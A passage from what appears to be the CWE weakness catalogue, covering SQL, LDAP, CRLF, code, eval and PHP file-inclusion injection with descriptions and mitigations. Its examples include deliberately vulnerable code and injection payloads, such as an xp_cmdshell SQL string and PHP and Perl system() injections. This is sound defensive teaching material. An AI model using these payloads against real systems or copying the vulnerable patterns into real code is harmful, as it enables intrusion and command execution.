- Find ways to bypass the need for certain escaped meta-characters
- Use stored procedures to hide the injected meta-characters.

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

*Example Language:**(bad)*

```
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)  
is open itm_cv for  
' SELECT * FROM items WHERE ' || 'owner = ' || usr || ' AND itemname = ' || itm || '  
end get_item;
```

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

Example 4:

MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:

*Example Language:**(bad)*

```
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=$user_input' ORDER BY PRICE
```

Where \$user_input is taken from an untrusted source.

If the user provides the string:

*Example Language:**(attack)*

```
'; exec master..xp_cmdshell 'dir' --
```

The query will take the following form:

Example Language:

(attack)

```
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY="; exec master..xp_cmdshell 'dir' --' ORDER BY PRICE
```

Now, this query can be broken down into:

1. a first SQL query: SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=";
2. a second SQL query, which executes the dir command in the shell: exec master..xp_cmdshell 'dir'
3. an MS SQL comment: --' ORDER BY PRICE

As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment.

Example 5:

This code intends to print a message summary given the message ID.

Example Language: PHP

(bad)

```
$id = $_COOKIE["mid"];
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

The programmer may have skipped any input validation on \$id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.

While \$id is wrapped in single quotes in the call to mysql_query(), an attacker could simply change the incoming mid cookie to:

Example Language:

(attack)

```
1432' or '1' = '1
```

This would produce the resulting query:

Example Language:

(result)

```
SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'
```

Not only will this retrieve message number 1432, it will retrieve all other messages.

In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:

Example Language: PHP

(good)

```
$id = intval($_COOKIE["mid"]);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message.

Example 6:

This example attempts to take a last name provided by a user and enter it into a database.

Example Language: Perl

(bad)

```
$userKey = getUserID();
$name = getUserInput();
# ensure only letters, hyphens and apostrophe are allowed
$name = allowList($name, "^a-zA-z'-$");
$query = "INSERT INTO last_names VALUES('$userKey', '$name')";
```

While the programmer applies a allowlist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens, which are used as comment structures in SQL. If a user specifies "--" then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the allowlist permits the apostrophe, which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.

CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Weakness ID : 90

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| Nature | Type | ID | Name | Page |
|----------|---|------|-----------------|------|
| MemberOf |  | 1019 | Validate Inputs | 2149 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|----------------------------|------|
| MemberOf |  | 137 | Data Neutralization Issues | 2027 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Database Server (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|---|---------------------------------------|------------|
| Confidentiality | Execute Unauthorized Code or Commands | |
| Integrity | Read Application Data | |
| Availability | Modify Application Data | |
| <i>An attacker could include input that changes the LDAP query which allows unintended commands or code to be executed, allows sensitive data to be read or modified or causes other unintended behavior.</i> | | |

Potential Mitigations**Phase: Implementation**

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Demonstrative Examples**Example 1:**

The code below constructs an LDAP query using user input address data:

Example Language: Java

(bad)

```
context = new InitialDirContext(env);
String searchFilter = "StreetAddress=" + address;
NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtrls);
```

Because the code fails to neutralize the address string used to construct the query, an attacker can supply an address that includes additional LDAP queries.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2005-2301 | Server does not properly escape LDAP queries, which allows remote attackers to cause a DoS and possibly conduct an LDAP injection attack. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2301 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-91: XML Injection (aka Blind XPath Injection)

Weakness ID : 91

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.

Extended Description

Within XML, special elements could include reserved words or characters such as "<", ">", "'", and "&", which could then be used to add new data or modify XML syntax.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Notes

Maintenance

The description for this entry is generally applicable to XML, but the name includes "blind XPath injection" which is more closely associated with CWE-643. Therefore this entry might need to be deprecated or converted to a general category - although injection into raw XML is not covered by CWE-643 or CWE-652.

Theoretical

In vulnerability theory terms, this is a representation-specific case of a Data/Directive Boundary Error.

Research Gap

Under-reported. This is likely found regularly by third party code auditors, but there are very few publicly reported examples.

CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')

Weakness ID : 93

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|-------------------------|------------|
| Integrity | Modify Application Data | |

Potential Mitigations

Phase: Implementation

Avoid using CRLF as a special sequence.

Phase: Implementation

Appropriately filter or quote CRLF sequences in user-controlled input.

Demonstrative Examples

Example 1:

If user input data that eventually makes it to a log message isn't checked for CRLF characters, it may be possible for an attacker to forge entries in a log file.

Example Language: Java

(bad)

```
logger.info("User's street address: " + request.getParameter("streetAddress"));
```

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2002-1771 | CRLF injection enables spam proxy (add mail headers) using email address or name. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1771 |
| CVE-2002-1783 | CRLF injection in API function arguments modify headers for outgoing requests. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1783 |
| CVE-2004-1513 | Spoofed entries in web server log file via carriage returns https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1513 |

CWE-94: Improper Control of Generation of Code ('Code Injection')

Weakness ID : 94

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Extended Description

When software allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the software. Such an alteration could lead to arbitrary code execution.

Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Interpreted (*Prevalence = Sometimes*)

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|--|---|------------|
| Access Control | Bypass Protection Mechanism | |
| | <i>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</i> | |
| Access Control | Gain Privileges or Assume Identity | |
| | <i>Injected code can access resources that the attacker is directly prevented from accessing.</i> | |
| Integrity Confidentiality Availability | Execute Unauthorized Code or Commands | |
| | <i>Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.</i> | |
| Non-Repudiation | Hide Activities | |
| | <i>Often the actions performed by injected control code are unlogged.</i> | |

Potential Mitigations

Phase: Architecture and Design

Refactor your program so that you do not have to dynamically generate code.

Phase: Architecture and Design

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your software. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for

malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as `system()`, `exec()`, or `exit()`.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Operation

Strategy = Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Operation

Strategy = Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Demonstrative Examples

Example 1:

This example attempts to write user messages to a message file and allow users to view them.

Example Language: PHP

(bad)

```
$MessageFile = "messages.out";
if ($_GET["action"] == "NewMessage") {
    $name = $_GET["name"];
    $message = $_GET["message"];
    $handle = fopen($MessageFile, "a+");
    fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
    fclose($handle);
    echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
    include($MessageFile);
}
```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

Example Language:

(attack)

```
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
```

which will decode to the following:

Example Language:

(attack)

```
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

Example 2:

edit-config.pl: This CGI script is used to modify settings in a configuration file.

Example Language: Perl

(bad)

```
use CGI qw(:standard);
sub config_file_add_key {
    my ($fname, $key, $arg) = @_;
    # code to add a field/key to a file goes here
}
sub config_file_set_key {
    my ($fname, $key, $arg) = @_;
    # code to set key to a particular file goes here
}
sub config_file_delete_key {
    my ($fname, $key, $arg) = @_;
    # code to delete key from a particular file goes here
}
sub handleConfigAction {
    my ($fname, $action) = @_;
    my $key = param('key');
    my $val = param('val');
    # this is super-efficient code, especially if you have to invoke
    # any one of dozens of different functions!
    my $code = "config_file_${action}_key(\$fname, \$key, \$val);";
    eval($code);
}
$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
    handleConfigAction($configfile, param('action'));
}
else {
    print "No action specified!\n";
}
```

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:

Example Language:

(attack)

```
add_key(",", ","); system("/bin/ls");
```

This would produce the following string in handleConfigAction():

Example Language:

(result)

```
config_file_add_key(" ", " "); system("/bin/ls");
```

Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key(\$fname, \$key, \$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

Observed Examples

| Reference | Description |

CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

| | |
|------------------------------|----------------------------|
| Weakness ID : 95 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").

Extended Description

This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|---|--|------------|
| Confidentiality | Read Files or Directories Read Application Data <i>The injected code could access restricted data / files.</i> | |
| Access Control | Bypass Protection Mechanism <i>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</i> | |
| Access Control | Gain Privileges or Assume Identity <i>Injected code can access resources that the attacker is directly prevented from accessing.</i> | |
| Integrity Confidentiality Availability Other | Execute Unauthorized Code or Commands <i>Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.</i> | |
| Non-Repudiation | Hide Activities <i>Often the actions performed by injected control code are unlogged.</i> | |

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

If possible, refactor your code so that it does not need to use eval() at all.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Demonstrative Examples**Example 1:**

edit-config.pl: This CGI script is used to modify settings in a configuration file.

Example Language: Perl

(bad)

```
use CGI qw(:standard);
sub config_file_add_key {
    my ($fname, $key, $arg) = @_;
    # code to add a field/key to a file goes here
}
sub config_file_set_key {
    my ($fname, $key, $arg) = @_;
    # code to set key to a particular file goes here
}
sub config_file_delete_key {
    my ($fname, $key, $arg) = @_;
    # code to delete key from a particular file goes here
}
sub handleConfigAction {
    my ($fname, $action) = @_;
    my $key = param('key');
    my $val = param('val');
    # this is super-efficient code, especially if you have to invoke
    # any one of dozens of different functions!
    my $code = "config_file_${action}_key(\$fname, \$key, \$val);";
    eval($code);
}
$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
    handleConfigAction($configfile, param('action'));
}
else {
    print "No action specified!\n";
}
```

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - `config_file_add_key()`, `config_file_set_key()`, or `config_file_delete_key()`. It could set up a conditional to invoke each function separately, but `eval()` is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:

Example Language:

(attack)

```
add_key(",","); system("/bin/ls");
```

This would produce the following string in `handleConfigAction()`:

Example Language:

(result)

```
config_file_add_key(",","); system("/bin/ls");
```

Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious `eval()` to fail before the attacker's payload is activated. This particular manipulation would fail after the `system()` call, because the `"_key($fname, $key, $val)"` portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

Observed Examples

| MemberOf | C | 1347 | OWASP Top Ten 2021 Category A03:2021 - Injection | 1344 | 2205 |

Notes

Other

Factors: special character errors can play a role in increasing the variety of code that can be injected, although some vulnerabilities do not require special characters at all, e.g. when a single function without arguments can be referenced and a terminator character is not necessary.

Research Gap

This issue is probably under-reported. Most relevant CVEs have been for Perl and PHP, but eval injection applies to most interpreted languages. Javascript eval injection is likely to be heavily under-reported.

CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')

| | |
|---------------------------|-----------------------|
| Weakness ID : 96 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

Perform proper output validation and escaping to neutralize all code syntax from data written to code files.

Demonstrative Examples

Example 1:

This example attempts to write user messages to a message file and allow users to view them.

Example Language: PHP

(bad)

```
$MessageFile = "messages.out";
if ($_GET["action"] == "NewMessage") {
    $name = $_GET["name"];
    $message = $_GET["message"];
    $handle = fopen($MessageFile, "a+");
    fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
    fclose($handle);
    echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
    include($MessageFile);
}
```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

Example Language:

(attack)

```
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
```

which will decode to the following:

Example Language:

(attack)

```
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2002-0495 | Perl code directly injected into CGI library file from parameters to another CGI program. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0495 |
| CVE-2005-1876 | Direct PHP code injection into supporting template file. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1876 |
| CVE-2005-1894 | Direct code injection into PHP script that can be accessed by attacker. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1894 |
| CVE-2003-0395 | PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0395 |
| CVE-2007-6652 | chain: execution after redirect allows non-administrator to perform static code injection. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6652 |

CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

Weakness ID : 98

Status: Draft

Structure : Simple**Abstraction** : Variant

Description

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

Extended Description

In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the software will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|---|-----|---|------|
| ChildOf |  | 706 | Use of Incorrectly-Resolved Name or Reference | 1400 |
| ChildOf |  | 829 | Inclusion of Functionality from Untrusted Control Sphere | 1579 |

| CanPrecede |  | 94 | Improper Control of Generation of Code ('Code Injection') | 207 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|-----------------|------|
| MemberOf |  | 1019 | Validate Inputs | 2149 |

Applicable Platforms

Language : PHP (*Prevalence = Often*)

Alternate Terms

Remote file include :

RFI : The Remote File Inclusion (RFI) acronym is often used by vulnerability researchers.

Local file inclusion : This term is frequently used in cases in which remote download is disabled, or when the first part of the filename is not under the attacker's control, which forces use of relative path traversal (CWE-23) attack techniques to access files that may contain previously-injected PHP code, such as web access logs.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Integrity | Execute Unauthorized Code or Commands | |
| Confidentiality | <i>The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be</i> | |
| Availability | | |

| Scope | Impact | Likelihood |
|-------|--|------------|
| | <i>possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the file except for the content between php specifiers.</i> | |

Detection Methods

Manual Analysis

Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.

Effectiveness = High

Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines.

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness = High

Phase: Architecture and Design

Phase: Operation

Strategy = Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

